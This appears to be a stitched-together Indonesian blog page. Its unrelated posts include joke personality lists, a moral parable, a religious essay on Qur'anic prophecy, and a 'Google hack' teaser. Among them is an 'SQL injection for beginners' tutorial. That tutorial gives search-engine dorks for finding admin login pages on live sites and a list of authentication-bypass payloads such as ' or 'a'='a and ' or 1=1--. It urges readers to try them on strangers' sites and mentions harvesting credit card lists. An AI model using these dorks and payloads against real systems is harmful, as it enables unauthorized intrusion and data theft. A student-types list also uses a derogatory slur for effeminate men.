Kepribadian Manusia dari Cara Kentut

Kepribadian Manusia dari Cara Kentut
By Gen on
Kepribadian manusia ternyata bisa dilihat dari berbagai cara. Setelah beberapa waktu lalu memposting berbagai artikel mengenai kepribadian manusia diantaranya; sifat cowok menurut bulan kelahiran, Sifat manusia berdasarkan inisial namanya, Sifat cewek berdasarkan warna kesukaannya, Sifat cowok menurut warna kesukaannya, Sifat cewek menurut tanggal lahir, tipe tipe kepribadian manusia dan lain lain. Sekarang giliran tipe kepribadian manusia dari cara kentutnya. Penasaran kan..? Cekidot..!



Orang PINTER :
Orang yang tahu kapan harus kentut dan kapan tidak boleh kentut

Orang SOPAN & JUJUR :
Orang yang kalau kentut selalu bilang : “Maaf saya mau kentut dulu”

Orang SOK BERSIH :
Orang yang kalau mau kentut celana dilepas dulu

Orang PENUH MISTERI :
Orang yang kalau kentut tidak pernah diketahui oleh orang lain. Bisa juga disebut low profile...

Orang SOSIALIS :
Orang yang selalu kipas-kipas setiap selesai kentut, biar bisa bagi bagi sama orang lain.

Orang SOMBONG :
Orang yang suka mencium kentutnya sendiri. Ini bisa jadi peribahasa baru untuk menyebut orang sombong, nih..!

Orang BANYAK AKALNYA :
Orang yang kalau kentut sambil berteriak, biar nggak kedengeran kentutnya sama orang lain

Orang BODOH :
Orang yang tidak bisa membedakan mana kentut sendiri dan mana kentut Orang lain. Dan tidak bisa membedakan mana bau kentut mana bau ketek?

Orang PELIT :
Orang yang suka ngempet / nahan kentutnya sendiri

KORUPTOR :
Kentutnya bau sekali

Orang TIDAK JUJUR :
nggak pernah ngaku kalau dia kentut

Orang HEMAT :
Orang yang bisa mengeluarkan kentutnya sesuai kebutuhan

Orang PERCAYA DIRI :
Orang yang kalau kentut dikeras-kerasin

Orang LUGU :
Orang yang kentut malah kaget

Orang GEMAR MENABUNG :
Orang yang kalau kentut dimasukkan ke kantong plastik lalu diiket erat2 terus dibawa pulang.

Orang SADIS :
Orang yang suka kentut di depan muka orang lain

Orang TUKANG FITNAH :
Orang yang kalau kentut langsung menuduh Orang lain

Orang APES / SIAL :
Sudah bau kentut terus ditimpukin rame rame sama orang se RT

Orang SERAKAH :
Orang yang seneng ciumin kentutnya Orang lain

Orang GENDENG :
Orang yang kalau kentut pantatnya dimasukkan air, agar bunyi blekuthuk-blekuthuk

Orang BOROS :
Orang yang kalau kentut dikeluarkan sekaligus sampai ampas-ampasnya

Orang JOROK :
Orang yang setiap kentut celananya ikut basah

Orang MALES :
Orang yang kentut ga pernah tuntas

Orang Rendah Riri
Orang yang suara kentutnya kecil dan terdengar tersendat-sendat

Orang PEMBUAL :
Orang yang tidak bisa lagi dibedakan mana itu kentut atau omongannya. Bau mulut sama bau kentutnya sama

Orang KAYA :
Orang yang banyak kentutnya daripada kerjanya

Orang SENGSARA :
Orang yang seumur-umur hanya pingin kentut saja nggak pernah kesampaian

Orang NGGAK PUNYA KERJAAN :
Ada dua kriteria di sini; orang yang membuat tulisan ini dan yang membacanya.

Nah, kamu termasuk tipe yang mana nih..?

GOOGLE HACK

Sebelum Anda mendownload file – file yang ter-attachment pastikan Anda memiliki pdf reader (adobe reder, foxit reader dsbnya)untuk membaca file yang ter-attachment. Jika Anda tidak memiliki silahkan download gratis di :
http://www.foxitsoftware.com/downloads/
http://www.adobe.com/products/acrobat/readstep2.html
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Dalam File google hack berisi tentang barisan kode atau perintah yang mencakup 9 hal yaitu :
1. Online Cameras – Dengan string ini Anda bisa mengkontrol kamera keamanan pada sebuah jaringan terbuka.
2. View Blocked Sites – Hack ini mengijinkan Anda untuk melihat sebuah halaman website yang sengaja dibuang dari search engine agar tidak terakses sehingga halaman ini tidak bisa dicari oleh search engine.
3. Front Page user logins – Menggunakan String berikut Anda bisa menemukan file log in (user & password yang masih tersandikan) pada pengguna Microsoft FrontPage.
4. PHP Photo Albums – String algoritma pencari ini memungkinkan Anda untuk mengakses photo album yang berbasis PHP dan memasukan foto Anda ke album mereka.
5. VNC User Info – VNC adalah virtual computer controller yang mengijinkan Anda mengkontrol komputer Anda dari mana saja.
6. Network Printers – Dengan string ini, Anda bisa melihat printer yang telah di-share melalui public network, Anda juga bisa melihat status, setting dan beberapa file yang “mungkin” dapat Anda print.
7. PHP Admistrator Access – PHPMyAdmin adalah sebuah account dimana orang – orang dapat mengkontrol data mereka dan isi web mereka untuk ditampilkan dalam sebuah website yang mereka buat.
8. Download MP3/MPG/MPEG/MP4 dan multimedia lainnya – dengan menggunakan string berikut Anda bisa mendownload lagu, film, video clip dari sebuah situs yang memiliki celah yang dikarenakna tidak memiliki authentifikasi page.
9. Tampilan Halaman Google sesuai yang kita inginkan – Gunakan string berikut untuk merubah tampilan google susuai kebutuhan kita.

SQL Injection Untuk Pemula

SQL Injection Untuk Pemula

SQL Injection adalah memasukkan kode-kode SQL untuk mendapatkan akses ke database yang lebih besar daripada yang seharusnya kita dapatkan, terutama pada script yang tidak memvalidasi input dari user.

SQL Injection sebenarnya sudah sering dibahas dimana-mana, tetapi ternyata masih banyak webmaster yang belum tahu atau tidak peduli akan kelemahan ini.

Apa saja yang diperlukan untuk melakukan SQL Injection ?
1. Internet Explorer (wajib)
2. PC yang terhubung ke Internet (wajib, kecuali Anda mau hack PC Anda sendiri)
3. Segelas kopi untuk menghilangkan rasa kantuk (optional)
4. Metallica (optional)

OK, langsung saja kita praktekkan, supaya lebih jelas.

Pertama bukalah www.google.com (google pancen oye) untuk mencari script yang terhubung ke database. Masukkan salah satu keyword di bawah ini (lengkap dengan tanda petiknya) :
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
“/admin/adminlogin.asp”
“/admin/adminlogon.asp”
“/admin/admin_login.asp”
“/admin/admin_logon.asp”
“/administrator/admin.asp”
“/administrator/login.asp”
“/administrator/logon.asp”
“root/login.asp”
“admin/index.asp”

Anda bisa menambahkan daftarnya berdasarkan kreatifitas Anda sendiri.
Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name dan password).

Masukkan kode-kode berikut,
User name : ‘ or ‘a’=’a
Password : ‘ or ‘a’=’a
(termasuk tanda petiknya)

Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about, dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.

Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google. Menurut pengalaman saya, dari sekitar 20 link yang saya coba, ada satu atau dua yang berhasil.

Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ‘ or ‘a’=’a

Di bawah ini bisa dimasukkan baik ke user name maupun password :
‘ or 0=0 –
” or 0=0 –
or 0=0 –
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’='x
” or “x”=”x
‘) or (’x'=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (’a'=’a
“) or (”a”=”a
hi” or “a”=”a
hi” or 1=1 –
hi’ or 1=1 –
hi’ or ‘a’='a
hi’) or (’a'=’a
hi”) or (”a”=”a

Anda masih bisa memperpanjang daftarnya sesuai kreatifitas Anda.

Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.

Selamat berburu . . . .

Referensi :
SQL injection Basic Tutorial by Comsec
Advanced SQL Injection In SQL Server Applications by Chris Anley
Jasakom.com
yogyafree.net
Tangerang Hacker

Hati Yang Sempurna

Hati Yang Sempurna

Pada suatu hari, seorang pemuda berdiri di tengah kota dan menyatakan bahwa dialah pemilik hati yang terindah di kota itu. Banyak orang kemudian berkumpul dan mereka semua mengagumi hati pemuda itu, karena memang benar-benar sempurna. Tidak ada satu cacat atau goresan sedikitpun di hati pemuda itu. Pemuda itu sangat bangga dan mulai menyombongkan hatinya yang indah.

Tiba-tiba, seorang lelaki tua menyeruak dari kerumunan, tampil ke depan dan berkata "Mengapa hatimu masih belum seindah hatiku ?".

Kerumunan orang-orang dan pemuda itu melihat pada hati pak tua itu. Hati pak tua itu berdegup dengan kuatnya, namun penuh dengan bekas luka, dimana ada bekas potongan hati yang diambil dan ada potongan yang lain ditempatkan di situ; namun tidak benar-benar pas dan ada sisi-sisi potongan yang tidak rata. Bahkan, ada bagian-bagian yang berlubang karena dicungkil dan tidak ditutup kembali. Orang-orang itu tercengang dan berpikir, bagaimana mungkin pak tua itu mengatakan bahwa hatinya lebih indah ?

Pemuda itu melihat kepada pak tua itu, memperhatikan hati yang dimilikinya dan tertawa "Anda pasti bercanda, pak tua", katanya.

"Bandingkan hatimu dengan hatiku, hatiku sangatlah sempurna sedangkan hatimu tak lebih dari kumpulan bekas luka dan cabikan".

"Ya", kata pak tua itu," Hatimu kelihatan sangat sempurna meski demikian aku tak akan menukar hatiku dengan hatimu. Lihatlah, setiap bekas luka ini adalah tanda dari orang-orang yang kepadanya kuberikan kasihku, aku menyobek sebagian dari hatiku untuk kuberikan kepada mereka, dan seringkali mereka juga memberikan sesobek hati mereka untuk menutup kembali sobekan yang kuberikan.

Namun karena setiap sobekan itu tidaklah sama, ada bagian-bagian yang kasar, yang sangat aku hargai, karena itu mengingatkanku akan cinta kasih yang telah bersama-sama kami bagikan. Adakalanya, aku memberikan potongan hatiku begitu saja dan orang yang kuberi itu tidak membalas dengan memberikan potongan hatinya. Hal itulah yang meninggalkan lubang-lubang sobekan memberikan cinta kasih adalah suatu kesempatan.

Meskipun bekas cabikan itu menyakitkan, mereka tetap terbuka, hal itu mengingatkanku akan cinta kasihku pada orang-orang itu, dan aku berharap, suatu ketika nanti mereka akan kembali dan mengisi lubang-lubang itu. Sekarang, tahukah engkau keindahan hati yang sesungguhnya itu"

Pemuda itu berdiri membisu dan airmata mulai mengalir di pipinya. Dia berjalan ke arah pak tua itu, menggapai hatinya yang begitu muda dan indah, lalu merobeknya sepotong. Pemuda itu memberikan robekan hatinya kepada pak tua dengan tangan-tangan yang gemetar. Pak tua itu menerima pemberian itu, menaruhnya di hatinya dan kemudian mengambil sesobek dari hatinya yang sudah amat tua dan penuh luka, kemudian menempatkannya untuk menutup luka di hati pemuda itu.

Sobekan itu pas, tetapi tidak sempurna, karena ada sisi-sisi yang tidak sama rata. Pemuda itu melihat ke dalam hatinya, yang tidak lagi sempurna tetapi kini lebih indah dari sebelumnya, karena cinta kasih dari pak tua itu telah mengalir ke dalamnya. Mereka berdua kemudian berpelukan dan berjalan beriringan.

Tipe Tipe Mahasiswa Menurut Dosen

Tipe - Tipe mahasiswa Setelah membahas masalah Macam macam dosen menurut mahasiswa, ngga adil rasanya kalau ngga bahas para korban dosen, mahasiswa maksudnya. Ternyata mahasiswa juga macam-macam jenisnya. Buat agan agan yang mengaku mahasiswa, agan harus baca artikel ini. Agan termasuk tipe mahasiswa yang mana nih..? Okey, langsung saja, apa pendapat para dosen mengenai mahasiswa anak didiknya itu? langsung ajah sikat rame rame Gan..!


1. Mahasiswa Pemimpin
Tipe mahasiswa seperti ini selalu kelihatan mencolok dan aktif dibandingkan dengan mahasiswa-mahasiswa lainnya.(mungkin orang yang ga bisa diem, coz badannya gatel-gatel) Hidupnya di perkuliahan sangat variatif kegiatannya, (mau tebar pesona paling) dan ia tidak hanya belajar dari kuliah namun juga belajar dari lingkungan.(belajar naik sepeda yaaa Gan?) Biasanya tipe mahasiswa kayak gini gak pengen cepet-cepet tamat,(tua dibangku kuliah, pinter apa goblok sie?) karena ia sedang mencari pengalaman yang sebesar-besarnya untuk menjadi pemimpin dimasa depan.(cara yang aneh!!!) Cita-cita mereka biasanya ingin menjadi pemimpin Perusahaan atau bahkan Presiden.(Wah, saingan sama SBY nih..!)

2. Mahasiswa Pemikir
Tipe mahasiswa ini selalu mikir melulu, gak pernah ada implementasinya, yang akhirnya ia belajar terus tanpa menghiraukan sekitarnya agar bisa mendapatkan jawaban atas apa yang dipikirkannya.(mahasiswa yang biasanya korban waktu OSPEK) Biasanya tipe mahasiswa seperti ini kalo udah lulus ntar jadi ilmuwan mungkin.(ato ngga jadi gila beneran)

3. Mahasiswa Santai
Tipe mahasiswa ini gak banyak mikir, selalu menjalani kehidupan apa adanya, ya… istilahnya ngikut aja gitu… Yang penting enjoy.(dasar pemalas), Biasanya tipe mahasiswa ini aktif di bidang seni dan olahraga, seperti band dan basket.(mao jadi artis nich) Dia nggak terlalu memikirkan kuliah.(makanya artis pada goblok semua, dari sini asal mereka) Karena yang penting dalam hidupnya santai. Biasanya mahasiswa jenis ini lama sekali lulusnya, karena nilainya juga santai.

4. Mahasiswa Mencari Cinta
Wuih, mirip judul film yah..? Tipe mahasiswa ini tidak terlalu memikirkan kuliah, tetapi yang dipikirkannya adalah CINTA, (love is o one) yang penting baginya ia mendapatkan pacar yang setia.(setiap tikungan ada) Biasanya mahasiswa ini pengen cepet-cepet tamat biar bisa cepet-cepet nikah.(maminya udah ngebet punya cucu kayaknya.)

5. Mahasiswa Jomblo
Tipe mahasiswa ini terkadang dianggap menyedihkan, karena katanya gak laku-laku,(kasian, obral ajah Gan) tapi terkadang mahasiswa jomblo bukan karena gak laku-laku tetapi karena ia memang nggak pengen pacaran demi meraih cita-citanya yang setinggi langit, (kalimat ini sebenarnya cuma buat pembelaan sedikit para mahasiswa jelek) Vivat Jomblo.

6. Mahasiswa Usil bukan Unsil
Tipe mahasiswa ini sangat senang apabila orang menderita,(asik buat ngusir ngantuk nich) contohnya sebelum dosen masuk kelas, ia akan mengganti kursi dosen dengan kursi yang rusak, biar dosennya patah tulang, (dosennya mank pantaz di'gituin ko', maju terus gan..!) atau sebelum dosen masuk ia menulis kertas dipintu kelas bahwa kelas hari ini dibatalkan.(pasti seru tuch libur kelas)

7. Mahasiswa Nggak jelas
Nah ini tipe mahasiswa yang nggak bisa di katagorikan, karena terkadang ia seperti pemimpin, (so berkuasa and so main perintah) terus terkadang ia hilang entah kemana, (diculik setan barang kali) eh tau-taunya malah ketemu di mal sama pacarnya, (sekali-sekali sikat rame2 ajah) terus kalo malam nongkrong-nongkrong, (di pangkalan ojek) kalo ujian belajarnya ngalahin ilmuan. (semalam suntuk)

8. Mahasiswa Anak Mami
Tipe mahasiswa ini selalu pulang tiap minggu, takut kalau-kalau maminya hilang. (tipe anak yang berbakti pada orang tua) ia kuliah demi menyenangkan hati maminya.(biar masuk surga ntar) Kebanyakan nih tipe nggak senang dengan kuliahnya,(yah, ga 'jadi masuk surga dech) karena jurusan perkuliahannya pilihan dari mami, (kenapa ngga maminya ajah yang kuliah..?) bukan dari kehendak hatinya. Kebanyakan mahasiswa tipe ini kuliahnya putus tengah jalan, tapi semoga tidak…("tidak akan lulus")

9. Mahasiswa mirip mahasiswi
Sudah jelas sekali ini mahasiswa memiliki dua kepribadian,(kayak bunglon donk) yang pertama wanita yang kedua pria. Orang-orang biasa menyebutnya banci…(bencong bahasa gaulnya)

10. Mahasiswa berorientasi Akhirat
Nah ini mahasiswa katagori terbaik menurut saya, karena apa yang dilakukannya sudah jelas tujuannya, hidupnya lebih terarah dan sikapnya selalu terjaga.(ada tapinya, tetep ajah mahasiswa bodoh) Biasanya suka membantu orang lain namun nggak berharap banyak dari orang lain tersebut. Biasanya tipe mahasiswa ini berakhir bahagia dan Sukses seperti dalam sinetron sinetron itu.

11. Mahasiswa Gadungan
Kalo tipe ini sebenarnya bukan mahasiswa, tetapi karena ingin kelihatan seperti mahasiswa maka ia sering nongkrong-nongkrong dikampus orang.(selama ngga ganggu ngga apa-apa kan) Biasanya ia punya tujuan tertentu, seperti mencari seorang wanita idaman atau mau masang bom di kampus orang… Hati-hati!!!(calon teroris selanjutnya)

12. Mahasiswa Monitor
Mahasiswa ini selalu berhadapan dengan komputer,(maen game, or buka situs 17+) sampai-sampai mukanya sudah berevolusi seperti layar monitor,(kotak) matanya sudah sebesar mouse dan rambutnya sudah tak terurus seperti kabel USB atau RJ-45.(cuma bisa koment,"hahaha") Biasanya ni mahasiswa hobi chating dan mendapatkan kebutuhannya dari internet.(ga'bosend yaaa chat mulu) Tapi ni mahasiswa bagus juga, karena ia nggak bakal ketinggalan zaman deh….(untuk mengurangi mahasiswa yang bikin susah oprator warnet karena nanya melulu..!). Atau bisa jadi dia seorang blogger kayak saya. hahahaha.......

13. Mahasiswa Abadi
gabungan dari ke 13 tipe mahasiswa diatas. 10 semester belum lulus2.(mank dasar goblok,lemot, bodoh, bego, tolol, ngga punya otak,aduh cepe...!)

wah, ternyata tipe tipe mahasiswa lebih banyak dari tipe tipe dosen. Ngak heran sih, soalnya kan jumlah mahasiswa lebih banyak dari dosen. Oke, buat para mahasiswa, kamu termasuk tipe yang mana nih..?

beritahu teman anda artikel-artikel bagus dari gen22.blogspot.com

PENGETAHUAN AL QUR'AN

Semua yang telah kita pelajari sejauh ini memperlihatkan kita akan satu kenyataan pasti: Al Qur'an adalah kitab yang di dalamnya berisi berita yang kesemuanya terbukti benar. Fakta-fakta ilmiah serta berita mengenai peristiwa masa depan, yang tak mungkin dapat diketahui di masa itu, dinyatakan dalam ayat-ayatnya. Mustahil informasi ini dapat diketahui dengan penguasaan ilmu pengetahuan dan teknologi masa itu. Ini merupakan bukti nyata bahwa Al Qur'an bukanlah perkataan manusia.

Al Qur'an adalah kalam Allah Yang Maha Kuasa, Pencipta segala sesuatu dari ketiadaan. Dialah Tuhan yang ilmu-Nya meliputi segala sesuatu. Dalam sebuah ayat, Allah menyatakan dalam Al Qur'an "Maka apakah mereka tidak memperhatikan Al Qur'an ? Kalau kiranya Al Qur'an itu bukan dari sisi Allah, tentulah mereka mendapat pertentangan yang banyak di dalamnya." (Al Qur'an, 4:82) Tidak hanya kitab ini bebas dari segala pertentangan, akan tetapi setiap penggal informasi yang dikandung Al Qur'an semakin mengungkapkan keajaiban kitab suci ini hari demi hari.

Apa yang menjadi kewajiban manusia adalah untuk berpegang teguh pada kitab suci yang Allah turunkan ini, dan menerimanya sebagai satu-satunya petunjuk hidup. Dalam salah satu ayat, Allah menyeru kita:

"Dan Al Qur'an itu adalah kitab yang Kami turunkan yang diberkati, maka ikutilah dia dan bertakwalah agar kamu diberi rahmat." (Al Qur'an, 6:155)

Dalam beberapa ayat-Nya yang lain, Allah menegaskan:

"Dan katakanlah: "Kebenaran itu datangnya dari Tuhanmu; maka barangsiapa yang ingin (beriman) hendaklah ia beriman, dan barangsiapa yang ingin (kafir) biarlah ia kafir." (Al Qur'an, 18:29)

"Sekali-kali jangan (demikian)! Sesungguhnya ajaran-ajaran Tuhan itu adalah suatu peringatan, maka barangsiapa yang menghendaki, tentulah ia memperhatikannya." (Al Qur'an, 80:11-12)

Informasi Mengenai Peristiwa Masa Depan dalam Al Qur'an

Sisi keajaiban lain dari Al Qur'an adalah ia memberitakan terlebih dahulu sejumlah peristiwa yang akan terjadi di masa mendatang. Ayat ke-27 dari surat Al Fath, misalnya, memberi kabar gembira kepada orang-orang yang beriman bahwa mereka akan menaklukkan Mekah, yang saat itu dikuasai kaum penyembah berhala:

"Sesungguhnya Allah akan membuktikan kepada Rosul-Nya tentang kebenaran mimpinya dengan sebenarnya (yaitu) bahwa sesungguhnya kamu pasti akan memasuki Masjidil Haram, insya Allah dalam keadaan aman, dengan mencukur rambut kepala dan mengguntingnya, sedang kamu tidak merasa takut. Maka Allah mengetahui apa yang tiada kamu ketahui, dan Dia memberikan sebelum itu kemenangan yang dekat." (Al Qur'an, 48:27)

Ketika kita lihat lebih dekat lagi, ayat tersebut terlihat mengumumkan adanya kemenangan lain yang akan terjadi sebelum kemenangan Mekah. Sesungguhnya, sebagaimana dikemukakan dalam ayat tersebut, kaum mukmin terlebih dahulu menaklukkan Benteng Khaibar, yang berada di bawah kendali Yahudi, dan kemudian memasuki Mekah.

Pemberitaan tentang peristiwa-peristiwa yang akan terjadi di masa depan hanyalah salah satu di antara sekian hikmah yang terkandung dalam Al Qur'an. Ini juga merupakan bukti akan kenyataan bahwa Al Qur'an adalah kalam Allah, Yang pengetahuan-Nya tak terbatas. Kekalahan Bizantium merupakan salah satu berita tentang peristiwa masa depan, yang juga disertai informasi lain yang tak mungkin dapat diketahui oleh masyarakat di zaman itu. Yang paling menarik tentang peristiwa bersejarah ini, yang akan diulas lebih dalam dalam halaman-halaman berikutnya, adalah bahwa pasukan Romawi dikalahkan di wilayah terendah di muka bumi. Ini menarik sebab "titik terendah" disebut secara khusus dalam ayat yang memuat kisah ini. Dengan teknologi yang ada pada masa itu, sungguh mustahil untuk dapat melakukan pengukuran serta penentuan titik terendah pada permukaan bumi. Ini adalah berita dari Allah yang diturunkan untuk umat manusia, Dialah Yang Maha Mengetahui.